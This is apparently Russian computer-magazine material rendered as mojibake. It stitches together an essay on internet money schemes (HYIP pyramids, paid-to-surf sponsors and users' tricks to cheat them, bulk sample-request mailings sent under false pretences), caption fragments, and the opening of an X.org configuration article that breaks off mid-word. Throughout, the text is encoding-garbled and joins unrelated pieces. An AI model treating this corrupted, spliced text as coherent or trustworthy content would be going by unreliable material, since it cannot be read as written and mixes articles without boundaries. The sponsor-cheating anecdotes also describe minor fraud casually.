çíàåò ëè ñòàðèíà Áèëëè, ÷òî åìó òå-

ÐÀÇÃËßÄÛÂÀß ÅÆÅÌÅÑß×ÍÛÅ Ñ×ÅÒÀ ÎÒ ÏÐÎÂÀÉÄÅÐÀ, ÒÛ ÍÀÂÅÐÍßÊÀ ÇÀÄÓÌÛÂÀËÑß Î ÒÎÌ, ×ÒÎ ÈÍÒÅÐÍÅÒ �
ÝÒÎ ÍÅ ÒÎËÜÊÎ ÃÎËÛÅ ÒÅÒÊÈ È ÌÍÎÃÎ×ÀÑÎÂÛÅ ÁÅÑÅÄÛ ÏÎ ÀÑÜÊÅ, ÍÎ È ÕÎÐÎØÀß ÂÎÇÌÎÆÍÎÑÒÜ ÇÀÐÀÁÎ-
ÒÀÒÜ. ÒÎËÜÊÎ ÂÎÒ ÐÀÇÌÅÙÅÍÍÛÉ ÍÀ ÁÅÑÏËÀÒÍÎÌ ÕÎÑÒÈÍÃÅ ÏÎÐÍÎÑÀÉÒ ÇÀÊÐÛÂÀÞÒ, ÎÍËÀÉÍÎÂÛÉ ÌÀÃÀ-
ÇÈÍ ÓÌÅÐ ÍÀ ÑÒÀÄÈÈ ÐÀÇÐÀÁÎÒÊÈ ÄÂÈÆÊÀ, ÍÀ E-BAY ÍÈÊÒÎ ÍÅ ÏÎÊÓÏÀÅÒ ÑÒÀÐÛÉ ÁÀÁÓØÊÈÍ ÁÓÄÈËÜÍÈÊ 
ÇÀ 300 ÁÀÊÑÎÂ. À ÂÅÄÜ ÒÂÎß ÄÓØÀ ÍÀÏÎËÍÅÍÀ ÂÅÐÎÉ ÍÀØÈÕ ÏÐÅÄÊÎÂ � ÂÅÐÎÉ Â ÊÎÌÌÓÍÈÇÌ, ÒÎ ÅÑÒÜ
ÂÅÐÎÉ Â ÕÀËßÂÓ... 
| Èëüÿ Àëåêñàíäðîâ (ilya_al@rambler.ru)

Ïàðó ñëîâ î ñåòåâîé õàëÿâå

Íà ââåðøèíå ïïèðàìèäû
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Ïîñëå òîãî êàê þçåðû ðåæå ñòàëè «êëåâàòü» íà çàòåþ 
ñ ïèðàìèäàìè, ïðåäïðèèì÷èâûå òîâàðèùè ïðèäóìàëè åùå
îäèí «îòíîñèòåëüíî ÷åñòíûé ñïîñîá îòúåìà äåíåã ó ãðàæäàí».
Ýòîò ñïîñîá íàçûâàåòñÿ HYIP (High Yield Investment Programs).
HYIP ìîæíî ñðàâíèòü ñî âêëàäîì â áàíê. Òû îòäàåøü äåíüãè è
ñî âðåìåíåì ïîëó÷àåøü èõ ñ ïðîöåíòàìè. Íî â âûñîêîäîõîäíûõ
ôîíäàõ ïðîöåíòû íà ïîðÿäîê áîëüøå áàíêîâñêèõ � â ñðåäíåì
2% â äåíü. Êàê óòâåðæäàþò ñîçäàòåëè, òàêîé âûñîêèé ïðîöåíò
îáåñïå÷èâàåò èõ ñïîñîá çàðàáîòêà. Îíè èãðàþò íà ðûíêå âà-
ëþò, ïîêóïàþò è ïðîäàþò àêöèè. Â îáùåì, îãðîìíûìè äåíüãàìè
âîðî÷àþò. Åñòü HYIP, ðàáîòàþùèå ïî òèïó ïèðàìèäû, çäåñü 
òåáå áóäóò âûïëà÷èâàòü ïî 10% îò äîõîäà ðåôåðàëîâ (ëþäåé,
êîòîðûõ òû ïðèâëåê â ñèñòåìó). Ñàìûé ïîïóëÿðíûé ôîíä ñåé-
÷àñ � ýòî R&M Program, âûïëà÷èâàþùèé ïî 20% â ìåñÿö.
Âïðî÷åì, ïðèñîåäèíÿòüñÿ óæå ïîçäíî: ôîíäó 569 äíåé, à ýòî �
ðåêîðä. Îáû÷íî ïîäîáíûå êîíòîðû æèâóò íå áîëüøå ïîëóãîäà.
Íà ñàìîì äåëå, HYIP åùå îïàñíåé, ÷åì MLM. Â ïèðàìèäàõ õîòÿ áû
îáåùàþò âûïëà÷èâàòü, è òå, êòî íàâåðõó, äàæå ÷òî-òî ïîëó÷àþò. 
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Â Áåëîðóññèè íåêèé Àëåêñàíäð Æäàíîâ îðãàíèçîâàë àæ 4 èíòåðíåò-ïèðàìè-
äû. Ïðàâäà, ñìûñë â êàæäîé îäèí � âëîæè äåñÿòü äîëëàðîâ è ïîëó÷è íà
400% áîëüøå. Ïðèáûëü Ñàøè ñîñòàâèëà 4 ìèëëèîíà àìåðèêàíñêèõ ïðåçè-
äåíòîâ. Êîãäà ïèðàìèäà ëîïíóëà, íè îäèí èç ó÷àñòíèêîâ ïèðàìèäû ïðîòèâ
Æäàíîâà íè÷åãî íå èìåë, òàê êàê áåëîðóñ çàðàíåå ïðåäóïðåäèë 
î ðèñêå, ñâÿçàííîì ñ âëîæåíèåì äåíåã. À ïîïàëñÿ îí ñëó÷àéíî, âñòóïèâ 
â êîíôëèêò ñ åäèíñòâåííûì â Áåëîðóññèè àòòåñòàòîðîì WebMoney ïðè ïî-
ïûòêå ñíÿòü $100 000. Òîò ïðèçíàë äåíüãè ïîäîçðèòåëüíûìè è çàäåðæàë
ïëàòåæ. Íî âñå-òàêè äÿäåíüêà âûçûâàåò óâàæåíèå: âçëîìàë WebMoney.by è
ñíÿë íå òîëüêî ñâîè äåíüãè, íî è âåñü êýø àòòåñòàòîðà! Ïîñòðàäàâøèé çàÿ-
âèë êóäà íàäî, è â èòîãå íàø ãåðîé ïîëó÷èë 9 ëåò ëèøåíèÿ ñâîáîäû.
Áóì ñåòåâûõ ïèðàìèä, íà÷àâøèéñÿ â êîíöå äåâÿíîñòûõ, ñåãîäíÿ ïî÷òè ïîë-
íîñòüþ ñîøåë íà íåò. Ñåòåâîé íàðîä ïîíåìíîãó óìíååò, è íà çàìàí÷èâûå, íî
ñîìíèòåëüíûå ïðåäëîæåíèÿ âåäåòñÿ ðåäêî.

[ñïîíñîðû] Äðóãèì èíòåðåñíûì ôåíîìåíîì Èíòåðíåòà ñòàëè òàê íàçûâà-
åìûå ñïîíñîðû. Íà÷íåì ñ êîìïàíèé, êîòîðûå îòäàâàëè äåíüãè çà WEB-ñåð-
ôèíã. Êóëüòîâóþ Spedia ïîìíÿò âñå. Ãëàâíûì îáðàçîì ïîòîìó, ÷òî îíà
äåéñòâèòåëüíî ïëàòèëà. Ïîëó÷àòü áàáêè çà ïðîñìîòð ðåêëàìû � ïðîñòî
ñáûâøàÿñÿ ìå÷òà ðóññêîãî ÷åëîâåêà! Âîîáùå, êîìïàíèÿ Spedia ïîÿâèëàñü
åùå â 1990 ãîäó, è òîãäà çàíèìàëàñü ðàñêëåéêîé îáúÿâëåíèé è ðàçìåùåíè-
åì ðåêëàìû. Íî âî âðåìÿ âñåìèðíîé êîìïüþòåðèçàöèè ðóêîâîäèòåëè ïîíÿ-
ëè, ÷òî ðåêëàìà â Ñåòè íå ìåíåå ýôôåêòèâíà, ÷åì íà òåëåâèäåíèè è ðàäèî.
×åëîâåê, óâèäåâ ïî òåëèêó ëèöî àôðèêàíñêîé íàöèîíàëüíîñòè ñ ÿâíûìè
ïðèçíàêàìè øèçîôðåíèè, ÿðîñòíî ïîæèðàþùåå ñíèêåðñ, ñêîðåå ïåðåêëþ-
÷èò íà äðóãîé êàíàë, ÷åì êóïèò øîêîëàäêó. Ñïåäèÿ ãàðàíòèðîâàëà ðåêëàìî-
äàòåëþ, ÷òî åãî ðåêëàìó óâèäÿò. Âåäü îíà ïëàòèëà çà ïðîñìîòð äåíüãè. Ïðî-
èñõîäèò ýòî ïðîñòî: íà òâîåì êîìïüþòåðå ðàçìåùàåòñÿ ñïåöèàëüíàÿ ïðîã-
ðàììà (view-áàð), êîòîðàÿ íå ïåðåêðûâàåòñÿ äðóãèìè îêíàìè è âûíóæäàåò
ïîëüçîâàòåëÿ ïîñòîÿííî ñìîòðåòü ðåêëàìó. Îòõîäèòü îò êîìïà òîæå íåëü-
çÿ. Åñëè ìûøü äîëãî íàõîäèòñÿ áåç äâèæåíèÿ, òî äåìîíñòðàöèÿ áàííåðîâ
ïðåêðàùàåòñÿ. Çà ÷àñ ïðîñìîòðà Spedia ïëàòèëà 30 öåíòîâ � âðîäå áû êî-
ïåéêè, íî êîïåéêà ê êîïåå÷êå, à ïîëó÷àåòñÿ ðóáëü. Äîïîëíèòåëüíûå äåíüãè
íà÷èñëÿëèñü çà ïðîñìîòð ðåêëàìû, ïðèõîäÿùåé íà ìûëî, è çà î÷êè, íàá-
ðàííûå â îíëàéíîâûõ èãðàõ íà spedia.net. Çà êàæäîãî ïðèâåäåííîãî â ñèñ-
òåìó íîâîãî ïîëüçîâàòåëÿ, êîíòîðà âûïëà÷èâàëà 10% îò åãî äîõîäà. Â 2000
� 2001 ãîäàõ view-áàð Spedia ñòîÿë ÷óòü ëè íå ó êàæäîãî âòîðîãî èíòåðíåò-
÷èêà, à îñíîâíûìè «êëèåíòàìè» ñèñòåìû ÿâëÿëèñü æèòåëè áûâøåãî ÑÑÑÐ.
Âèðìåéêåðû äàæå íàïèñàëè òðîÿí, ïîçâîëÿþùèé ïîëó÷èòü äîñòóï ê àêêàóí-
òó ïîëüçîâàòåëÿ spedia.net.

Íî âñåìó õîðîøåìó ïðèõîäèò êîíåö. Â ñåðåäèíå 2001 ãîäà þçåðû, çàøåäøèå íà
spedia.net, óâèäåëè íàäïèñü: «Error 404 � ñòðàíèöà íå íàéäåíà». Íà ýòîì âûïëà-
òû çàêîí÷èëèñü. Ñåé÷àñ ñàéò âåðíóëñÿ ê íîðìàëüíîìó ôóíêöèîíèðîâàíèþ, ìîæ-
íî äàæå ñêà÷àòü è óñòàíîâèòü view-áàð, íî ÷åêîâ òû óæå íå äîæäåøüñÿ.
Åùå î÷åíü ïîïóëÿðíà áûëà ñèñòåìà CashFiesta, îòëè÷àâøàÿñÿ îò Ñïåäèè
òîëüêî ðàñöåíêàìè è äîïîëíèòåëüíûìè ôèøêàìè òèïà ðàçâèòîé ðåôåðàëü-
íîé ñèñòåìû è íàâîðî÷åííîãî áàðà.
Îêîëî ãîäà íàçàä, êàþñü, ñàì ââÿçàëñÿ â ýòî äåëî � çàðåãàëñÿ â Russian Surf
Dollar. Íî òî ëè ñåðôåð èç ìåíÿ íèêóäûøíûé, òî ëè ñïîíñîð ïîæàäíè÷àë. Â îá-
ùåì, íèêàêèõ áàáîê íà WM ÿ íå ïîëó÷èë. Ñ òåõ ïîð íå âåðþ â õàëÿâó â èíåòå,
äà è â õàëÿâó âîîáùå. Õîòÿ íåêîòîðûå âåðÿò. Íàïðèìåð, ëþáèòåëè ïî÷èòàòü
ñïàì çà öåíòû. Òàêóþ óñëóãó ïðåäëàãàë, íàïðèìåð, InboxDollars. Ïëàòèë ïî 5
öåíòîâ çà ïèñüìî. Â ïèñüìå � ññûëêà. Èäåøü ïî àäðåñó, ââîäèøü ïàðîëü, ïî-
ïàäàåøü íà ñàéò è�  óðà! Òû ñòàë áîãà÷å! Õîòü è íà ïÿòü öåíòîâ. Çàòî áàáêè èí-
áîêñäîëëàðç âûñûëàë ñòàáèëüíî, áûòü ìîæåò, âûñûëàåò è ñåé÷àñ. 
Åùå êàê-òî áûëà ïîïóëÿðíà òåìà ñ ðåãèñòðàöèÿìè, óñòðîåííàÿ êîìïàíèåé
Selective Clicks. Íóæíî áûëî çàðåãèñòðèðîâàòüñÿ íà ñàéòå è âûïîëíÿòü íåñ-
ëîæíûå çàäàíèÿ. Ïîòîì â Ñåòü ïîïàëà òàáëèöà îòâåòîâ íà ýòè çàäàíèÿ, ìîæ-
íî áûëî èñïîëüçîâàòü åå äëÿ áûñòðîãî ïîëó÷åíèÿ äåíåã: îò 80 öåíòîâ äî 4
äîëëàðîâ çà çàäàíèå. Òåïåðü ýòî óæå íåàêòóàëüíî, à æàëü.
Äà è âîîáùå, êàê òîëüêî þçåðû íå äóðèëè ñïîíñîðîâ!
Spedia ïðåäîñòàâëÿëà ïîëüçîâàòåëþ ñàéò yourlogin.spedia.net, ïðè çàõîäå íà
êîòîðîé òðåáîâàëîñü ââåñòè ëîãèí è ïàðîëü. Çàòåì âûñêàêèâàëî pop-up
îêîøêî ñ ðåêëàìîé, çà ïðîñìîòð êîòîðîé þçåð ïîëó÷àë äåíüãè òàê æå, êàê
ïðè èñïîëüçîâàíèè view-áàðà. Ïðàâäà, ïåðèîäè÷åñêè � ïðèìåðíî ðàç â ìè-
íóòó � òðåáîâàëîñü îáíîâëÿòü ñòðàíè÷êó, ïåðåçàãðóæàÿ ðåêëàìó. Íàðîäíûå
óìåëüöû ñêîíñòðóèðîâàëè html-ñòðàíèöó, â êîòîðîé ðåêëàìà Spedia îáíîâ-
ëÿëàñü àâòîìàòè÷åñêè, íóæíî áûëî ëèøü çàãðóçèòü ñàìîïàëüíûé õòìë-ôàéë
íà êàêîé-íèáóäü áåñïëàòíûé õîñòèíã è çàéòè íà ïîðòàë áðàóçåðîì. À ïîòîì
èäòè ñïàòü, ÷òîáû íà óòðî ïîäñ÷èòàòü çàðàáîòàííûé êýø.
Ïðè âûñîêèõ ðàçðåøåíèÿõ (òèïà 1280õ1024) íåêîòîðûå view-áàðû íà÷è-
íàëè ïîêàçûâàòü íå îäèí, à äâà áàííåðà ñïîíñîðà, ïðèíîñÿ äâîéíóþ
ïðèáûëü. Îñîáî òàëàíòëèâûå äàæå ïèñàëè ñîáñòâåííûå ïðîãðàììû, êî-
òîðûå ïåðåìåùàëè êóðñîð ìûøè êàæäóþ ìèíóòó, äåìîíñòðèðóÿ, ÷òî íè-
êàêîãî ïðîñòîÿ íà êîìïå íåò. Õîòÿ ïîëüçîâàòåëü ìîã â ýòî âðåìÿ òèõî
ñïàòü íà äèâàí÷èêå. ß æå, êîãäà áûë þçåðîì RusSerfDollar, èñïîëüçîâàë
ïðîãðàììó îðãàíèçàöèè âèðòóàëüíûõ ðàáî÷èõ ñòîëîâ (ïîäîáíàÿ ôèøêà
õîðîøî çíàêîìî þíèêñîèäàì. Âèíäóçÿòíèêè åå îáû÷íî íå èñïîëüçóþò,
õîòÿ ñîîòâåòñòâóþùèõ ïðîãðàìì íàâàëîì ): íà îäíîì ðàáî÷åì ïðîñòðà-
íñòâå çàïóñêàë áàð, à íà âòîðîì � ïðåñïîêîéíî ðàáîòàë :).

î÷åðåäíîå ïðåäëîæåíèå òèïà «17 000$ çà òðè ìåñÿöà»

Ðàçäåë MLM ñëåäóåò ïîìåñòèòü â ðàçäåë «ôàíòàñòèêà» ðåéòèíã HYIP-ïðîåêòîâ



Ê ñîæàëåíèþ, ñî âðåìåíåì áîëüøèíñòâî ñïîíñîðîâ îêàçàëàñü áàíêðîòàìè.
Äî ðåêëàìîäàòåëåé íà÷àëî äîõîäèòü, ÷òî ðåêëàìó â áàííåðàõ íèêòî íå ñìîò-
ðèò, è îíè ïåðåñòàëè âêëàäûâàòü äåíüãè â ñåòåâûõ ñïîíñîðîâ. Ïîýòîìó íà
ñåãîäíÿøíèé äåíü ïîëó÷èòü öåíòû çà ñïàì è êëèêè ïî áàííåðàì, ñêîðåå âñå-
ãî, íå óäàñòñÿ. À â ðàçâèòûõ ñòðàíàõ ïðî ýòî óæå äàâíî çàáûëè. Â òîé æå
Àìåðèêå âûãîäíåå ðàçíîñèòü ãàçåòû, ÷åì ñìîòðåòü ðåêëàìó íà ìîíèòîðå.

[õàëÿâíûå ïîãðåìóøêè] Éîó, íèããà. Ýòî ìàéíäâîðê. Ìîé êîëëåãà ðàññêàçàë
òåáå î äâóõ ñïîñîáàõ ïîëó÷èòü õàëÿâó â Ñåòè, íè÷åãî íå äåëàÿ. ß ðàññêàæó î
òðåòüåì. Êîãäà-òî äàâíî, êîãäà Èíòåðíåò ÿ âèäåë òîëüêî íà êàðòèíêàõ, à âñå ñâîå
âðåìÿ ïðîâîäèë â Fido, íàñòîÿùèì îòêðîâåíèåì äëÿ ìåíÿ ñòàëî òî, ÷òî ìíîãèå
áóðæóéñêèå êîìïàíèè ñ óäîâîëüñòâèåì âûñûëàþò ðàçíîãî ðîäà ÂÅÙÈ. Æóðíà-
ëû, êàòàëîãè, CD, âèäåîêàññåòû, êîñìåòèêó, îäåæäó, ëåêàðñòâà, ïðîáíèêè ïèùå-
âûõ ïðîäóêòîâ è äàæå êîìïüþòåðíîå áàðàõëî. Ïðè÷åì ýòî íèêàêîå íå êèäàëîâî,
âñå ýòî ðåàëüíî ïðèõîäèò ê òåáå ñ äîñòàâêîé íà äîì, ïî òâîåé ïðîñüáå. Çà÷åì
ýòî êîìïàíèÿì? Âñå ïðîñòî � äåëàåòñÿ ýòî ðàäè ðåêëàìû, è áóðæóè íàäåþòñÿ,
÷òî â ðåçóëüòàòå òàêîé ùåäðîñòè òû ñòàíåøü èõ êëèåíòîì è áóäåøü ïîêóïàòü èõ
ïðîäóêöèþ. Òàê âîò, ãîäó ýäàê â 98-ì â ôèäîøíîé ýõå RU.HALYAVA ñôîðìèðî-
âàëîñü öåëîå äâèæåíèå õàëÿâùèêîâ, ïðîìûøëÿþùèõ çàêàçàìè. Íàðîä îáìåíè-
âàëñÿ èíôîðìàöèåé, êàê ïðàâèëüíî îôîðìëÿòü çàêàçû íà õàëÿâó, ññûëêàìè íà
ôîðìû, êîòîðûå ïðåäëàãàëîñü çàïîëíèòü äëÿ ïîëó÷åíèÿ ñèäþêà èëè êàêîé-íè-
áóäü ôóòáîëêè. È, êîíå÷íî, áûëî ìíîãî èäåé, êàê ýòîò ïðîöåññ îïòèìèçèðîâàòü.
Â ðàííèå âðåìåíà çàêàçûâàòü âåùè áûëî íå ñîâñåì óäîáíî. Ëèíêîâ íà ñàéòû
áëàãîäåëåé áûëî ìàëî, è ïèîíåðàì õàëÿâû ïðèõîäèëîñü âñå èñêàòü ñàìîñòîÿ-
òåëüíî, âáèâàÿ â ïîèñêîâèêè ôðàçû òèïà free samples è get for free. Çàòåì ñòàëè
õîäèòü ñïèñêè õàëÿâû, êîòîðûå ïîñòîÿííî ïîïîëíÿëèñü, ôèëüòðîâàëèñü è äàæå
èìåëè êàêîé-òî ðåéòèíã. Òàê êàê â îäíîì òàêîì ñïèñêå ìîãëî áûòü íåñêîëüêî òû-
ñÿ÷ àäðåñîâ, à íàðîä ó íàñ ëåíèâûé (äàæå êîãäà äåëî çàõîäèò î õàëÿâå), òî ïîÿ-
âèëèñü ïðîãðàììû. Áëàãîäàðÿ îäíîé òàêîé ïðîãðàììå íåñêîëüêî ìåñÿöåâ ìîé
ïî÷òîâûé ÿùèê (íå ýëåêòðîííûé, îáû÷íûé) åæåäíåâíî ëîìèëñÿ îò âñåâîçìîæ-
íûõ êîíâåðòîâ ñ àìåðèêàíñêèì îáðàòíûì àäðåñîì. Ïðîãðàììà çàíèìàëàñü òåì,
÷òî èç ñïèñêà âûäèðàëà ýëåêòðîííûå ÿùèêè (åñëè ÿùèê íå áûë óêàçàí, à òîëüêî
ëèíê ñàéòà,  îíà ãåíåðèðîâàëà ÿùèê, ïîäñòàâëÿÿ îïðåäåëåííûå ñëîâà. Íàïðè-
ìåð, åñòü àäðåñ spray.com, íà âûõîäå ïîëó÷àëñÿ info@spray.com) è àâòîìàòè÷åñ-
êè ðàññûëàëà íà íèõ çàðàíåå ïðèãîòîâëåííûé òåêñò çàêàçà. Îáû÷íî òåêñò âûã-
ëÿäåë ïðèìåðíî òàê: «Çäðàâñòâóéòå, ìåíÿ çîâóò Âàñÿ Ïóïêèí, ÿ ìåíåäæåð êîì-
ïàíèè «Ðîãà è Êîïûòà». Î÷åíü ïðî âàñ íàñëûøàí è ïðî äåçîäîðàíòû âàøè âå-
ëèêîëåïíûå. Âàì, íàâåðíîå, íå ïîìåøàþò ðàñïðîñòðàíèòåëè â íàøåé ñòðàíå?
Äóìàþ, ìû ìîãëè áû ñîòðóäíè÷àòü. Òîëüêî âîò õîòåëîñü áû ïîçíàêîìèòüñÿ ñ âà-
øåé ïðîäóêöèåé ïîáëèæå. Ïîýòîìó íå ìîãëè áû âû ïðèñëàòü ìíå ïàðî÷êó ïðîá-

íèêîâ âàøèõ çàìå÷àòåëüíûõ ïàðôþìîâ? Áîëüøîå ñïàñèáî. C óâàæåíèåì Âàñÿ
Ïóïêèí». Äëÿ ïîëó÷åíèÿ áðîøþð, ðåêëàìíûõ CD è äðóãèõ ïóñòÿêîâ õèòðîñïëåòå-
íèÿ ôðàç áûëè íå îáÿçàòåëüíû. Äîñòàòî÷íî êîðîòêî íàïèñàòü: «Âûøëèòå, ïîæà-
ëóéñòà, âàø CD. Ñïàñèáî», è ÷åðåç ïàðó-òðîéêó íåäåëü îí óæå ëåæàë ó òåáÿ 
â ìåéëáîêñå. Â ëó÷øèå âðåìåíà ìíå óäàâàëîñü îòïðàâëÿòü ïî 500 çàêàçîâ â
äåíü (äëÿ ýòîãî äîñòàòî÷íî áóêâàëüíî íàæàòü îäíó êíîïêó), èç êîòîðûõ äîáðàÿ
òðåòü âîçâðàùàëàñü â âèäå êðàñî÷íûõ áåçäåëóøåê. Ïðè÷åì íåêîòîðûå êîìïà-
íèè óñåðäñòâîâàëè äàæå ÷åðåñ÷óð. Îäèí îáðàçîâàòåëüíûé èíñòèòóò ïðèñûëàë
ìíå ñâîè ðåêëàìíûå áóêëåòû è CD ñ ïðåäëîæåíèåì ïðîéòè èõ òðåõäíåâíûé êóðñ
áèçíåñ-øêîëû âñåãî çà 10 òûñÿ÷ åâðî íà ïðîòÿæåíèè ïîëóòîðà ëåò!
Êîíå÷íî, áîëüøèíñòâî ýòîãî ñïàìà ïðàêòè÷åñêîé öåííîñòè íå èìååò 
è îòïðàâëÿåòñÿ â ìóñîðíîå âåäðî ñðàçó. Íî èíîãäà ïðèõîäÿò ïîëåçíûå
âåùè. Íàïðèìåð, ÿ ïîëó÷àë íàáîð èç 6 CD ñ íàó÷íûìè ïåðåäà÷àìè 
î êîñìîñå îò êàêîãî-òî êàíàäñêîãî óíèâåðñèòåòà, êîëëåêöèþ ïðîáíè-
êîâ ïîñëåäíåé ñåðèè êðåìîâ äëÿ çàãàðà îò âåäóùåé êîñìåòè÷åñêîé
êîìïàíèè, ïà÷êó âèäåîêàññåò, êîòîðûå ìîæíî èñïîëüçîâàòü äëÿ ñâîèõ
öåëåé, ïàðó-òðîéêó öèâèëüíûõ ôóòáîëîê, áåñ÷èñëåííîå êîëè÷åñòâî äî-
ðîãèõ æóðíàëîâ íà àíãëèéñêîì ÿçûêå. Æóðíàëû, ïðàâäà, ÿ ïîëó÷àë îò-
äåëüíî, íàõîäÿ â Ñåòè ëèíêè íà çàðóáåæíûå èçäàòåëüñòâà è ïðåäñòàâ-
ëÿÿñü ïîòåíöèàëüíûì àâòîðîì, ïðîñèë îäèí íîìåð æóðíàëà äëÿ îçíà-
êîìëåíèÿ. Ìíîãèå âûñûëàëè.
Ñëó÷àëèñü è êàçóñû. Õàëÿâùèêè èç RU.HALYAVA îáû÷íî áîìáèëè âñå ïðî-
õîäÿùèå â ýõè ññûëêè è åìåéëû ïîäðÿä, îòñûëàÿ ïà÷êàìè çàêàçû. Îäíàæ-
äû ìíå ïðèøëî ïèñüìî îò êàêîé-òî õðèñòèàíñêîé îðãàíèçàöèè, êîòîðàÿ âû-
ðàçèëà òðåâîãó â ñâÿçè ñ îáðóøèâøèìñÿ íà íèõ êîëè÷åñòâîì ïèñåì èç Ðîñ-
ñèè, ñîäåðæàùèõ îäèíàêîâóþ ïðîñüáó âûñëàòü èõ êàòàëîã. Îðãàíèçàöèÿ
ïðèçíàëàñü, ÷òî íèêàêèå êàòàëîãè íå âûïóñêàåò, íå çíàåò, ïî÷åìó èõ îá
ýòîì ïðîñÿò, è õîòåëà áû çíàòü, ÷òî âîîáùå ïðîèñõîäèò.
Íå ïðîøëè ìèìî ìåíÿ è ñïîíñîðû, êîòîðûå îïèñàíû ÷óòü âûøå. Ýòèì
ïåðåáîëåëè ìíîãèå ðàííèå ðóíåò÷èêè, îñîáåííî èç òåõ êîìó îò 12 äî
20. Êîíå÷íî, õîòåëîñü ëåãêèõ äåíåã, ÷òîáû ïîêðûòü ðàñõîäû èíåòà,
ñëàäêîé õàëÿâû, è íàì ýòî òàê ÿâíî ïðåäëàãàëè. Íî äàæå òå, êòî ïîëó-
÷èë êàêèå-òî ÷åêè, ïîòîì ïîíÿëè, ÷òî òå öåíòû íå ñòîÿò âñåõ ÷àñîâ, ïðî-
âåäåííûõ çà òóïûì êëèêàíüåì. Íà ùåëêàíüè áàííåðîâ è ïðîñìîòðå
ñïàìà òû íå ïîñòðîèøü ñåáå êàðüåðó, à íà ãðîøè, çàðàáîòàííûå òàêèì
îáðàçîì,  íå êóïèøü äàæå Æèãóëè. Ñåé÷àñ Èíòåðíåò ïðåäîñòàâëÿåò êó-
÷ó âîçìîæíîñòåé ðåàëüíî çàðàáàòûâàòü. Æóðíàëèñòàì, õóäîæíèêàì,
äèçàéíåðàì� ëþäÿì ëþáûõ òâîð÷åñêèõ ïðîôåññèé. È ýòî íàìíîãî 
èíòåðåñíåå è ïðèáûëüíåå, ÷åì âïàðèâàòü áåñïîëåçíûå êíèãè, èëè öå-
ëûìè äíÿìè ãëàçåòü íà ðåêëàìíûé áðåä. Àäüåñ, Àìèãî [X
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Richness Magic by Internet � ïîïóëÿðíåéøàÿ ïèðàìèäà

òðîÿíñêèé êîíü, çàðàæàâøèé êîìïüþòåðû ïîëüçîâàòåëåé Ñïåäèè
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ÑÈÑÒÅÌÀ X-WINDOW ßÂËßÅÒÑß ÎÑÍÎÂÎÉ
ÁÎËÜØÈÍÑÒÂÀ ÐÀÁÎ×ÈÕ ÑÒÎËÎÂ *NIX-ÑÈÑ-
ÒÅÌ. ÎÒ ÅÅ ÏÐÀÂÈËÜÍÎÉ ÍÀÑÒÐÎÉÊÈ ÇÀÂÈ-
ÑÈÒ ÌÍÎÃÎÅ: ÎÒ ÐÀÇÐÅØÅÍÈß ÝÊÐÀÍÀ È ÃËÓ-
ÁÈÍÛ ÖÂÅÒÀ ÄÎ ÂÎÇÌÎÆÍÎÑÒÈ ÇÀÏÓÑÊÀ
OPENGL-ÈÃÐ. ÈÌÅÍÍÎ ÏÎÝÒÎÌÓ ÍÅÎÁÕÎÄÈ-
ÌÎ ÕÎÐÎØÎ ÐÀÇÁÈÐÀÒÜÑß Â ÃËÀÂÍÎÌ ÊÎÍ-
ÔÈÃÓÐÀÖÈÎÍÍÎÌ ÔÀÉËÅ ÈÊÑÎÂ | j1m (j1m@list.ru)>

Íåâåäîìûé
ìèð èèêñîâ

4 Íà÷èíàÿ ñ ÷åòâåðòîé âåðñèè, XFree86 ñòàë ïî-íàñòîÿùåìó ìîäóëü-
íûì. Òåïåðü âñå äðàéâåðà è ðàñøèðåíèÿ ðàçëîæåíû ïî îòäåëüíûì ìî-
äóëÿì è êàòàëîãàì.
5 Â íàñòîÿùåå âðåìÿ ïîÿâèëîñü ñðàçó íåñêîëüêî ïðîåêòîâ, ïîçâîëÿþ-
ùèõ ïðèñïîñîáèòü èêñû ê ñîâðåìåííûì ðåàëèÿì. Íàïðèìåð, ïðîåêòû
Xgl è XDirectFB ââîäÿò êîìïîçèòíóþ ìîäåëü îêîí (ýòî àâòîìàòè÷åñêè
ïðèäàåò îêíàì ñâîéñòâî ïðîçðà÷íîñòè) è ïîçâîëÿþò èñïîëüçîâàòü âîç-
ìîæíîñòè ñîâðåìåííûõ âèäåîêàðò äëÿ óñêîðåíèÿ îòðèñîâêè.

[ïðåàìáóëà] Ìû æèâåì â ïåðèîä ëèöåíçèîííûõ ñïîðîâ. XFree86, íå-
êîãäà áûâøèé íåîòúåìëåìîé ÷àñòüþ ëþáîãî äèñòðèáóòèâà Linux, ïîòå-
ðÿë ñâîè ïîçèöèè. Íà ñìåíó åìó ïðèøåë X.org, ðàñïðîñòðàíÿåìûé ïî áî-
ëåå ëèáåðàëüíîé ëèöåíçèè.
Ñ òî÷êè çðåíèÿ êîíå÷íîãî ïîëüçîâàòåëÿ, ðàçëè÷èÿ ìåæäó ýòèìè äâóìÿ îêîííû-
ìè ñèñòåìàìè ìèíèìàëüíû. Ïåðåèìåíîâàíû íåêîòîðûå êîìàíäû è man-ñòðà-
íèöû. Âìåñòî ïðèâû÷íîãî /etc/X11/XF86Config ïîÿâèëñÿ /etc/X11/xorg.conf, ïî
âíóòðåííåìó ñîäåðæàíèþ ïðàêòè÷åñêè íå îòëè÷èìûé îò ñâîåãî ïðåäøåñòâåí-
íèêà. Â ñòàòüå ÿ áóäó àêöåíòèðîâàòü âíèìàíèå èìåííî íà X.org, äåëàÿ ïî õîäó
òåêñòà íåêîòîðûå ïîïðàâêè â îòíîøåíèè Xfree86.

[íåñêîëüêî ôàêòîâ î X-Window]
1 Îêîííàÿ ñèñòåìà X-Window áûëà ðàçðàáîòàíà
â 1984 ãîäó (òîãäà îíà åùå íîñèëà èìÿ Athena) è
ïîçèöèîíèðîâàëàñü êàê óíèâåðñàëüíàÿ ãðàôè÷åñ-
êàÿ ñðåäà ïîëüçîâàòåëÿ.
2 Èêñû ïîñòðîåíû íà êëèåíò-ñåðâåðíîé àðõèòåê-
òóðå. ×òî ïîçâîëÿåò îñóùåñòâëÿòü ïðîçðà÷íóþ
ðàáîòó ÷åðåç ñåòü, íî ñîçäàåò ñóùåñòâåííûé
îâåðõåä íà ëîêàëüíîé ìàøèíå (îòêëþ÷èòü ïðîñ-
ëóøèâàíèå 6000/tcp ìîæíî ñ ïîìîùüþ êîìàíäû
"startx -- -nolisten tcp").
3 Âñå âîçìîæíîñòè X-Window ïî ðàáîòå ñ îêíàìè
ñâîäÿòñÿ ê èõ îòðèñîâêå ïî îïðåäåëåííûì êîîð-
äèíàòàì è ïðàâèëüíîìó íàëîæåíèþ äðóã íà äðó-
ãà. Âñþ ðàáîòó ïî ñîçäàíèþ ðàìîê, çàãîëîâêîâ è
ïåðåìåùåíèþ îêîí äîëæåí âûïîëíÿòü «ìåíåä-
